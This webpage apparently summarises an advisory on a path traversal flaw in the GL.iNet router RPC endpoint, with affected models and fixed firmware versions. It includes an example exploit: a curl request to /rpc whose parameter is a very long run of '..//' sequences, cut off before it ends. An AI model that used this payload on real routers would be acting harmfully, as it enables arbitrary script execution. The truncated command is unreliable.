GL.iNet Router RPC Path Traversal Vulnerability and Exploitation

The following key information regarding the vulnerability can be extracted from this webpage screenshot: 1. Vulnerability Description: - Describes a path traversal vulnerability in the second argument of the method within the endpoint of a specific product, allowing an attacker to execute scripts at arbitrary paths. 2. Affected Products: - Lists multiple affected product models, including MT6000, MT3000, MT2500, AXT1800, AX1800, B3000, A1300, X3000, X300B, X300, XE3000, X750, SFT1200, MT1300, E750, XE300, AR750, AR750S, AR300M, AR300M16, B1300, and MT300N-V2. 3. Affected Firmware Versions: - Lists the firmware versions for each affected product, along with the corresponding fixed versions. For example, firmware version 4.6.2 for MT6000/MT3000/MT2500/AXT1800/AX1800 is fixed in 4.6.4, firmware version 4.5.18 for B3000 is fixed in 4.5.19, and so on. 4. Exploitation Method: - Describes the method of executing APIs via directory traversal, providing an example command: ``` cp /usr/lib/oui-httpd/rpc/cable /tmp/ curl -H 'glinet:1' 127.0.0.1/rpc -d '{"method":"call","params":["..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//

Goal Reached Thanks to every supporter — we hit 100%!

GL.iNet Router RPC Path Traversal Vulnerability and Exploitation

More from this source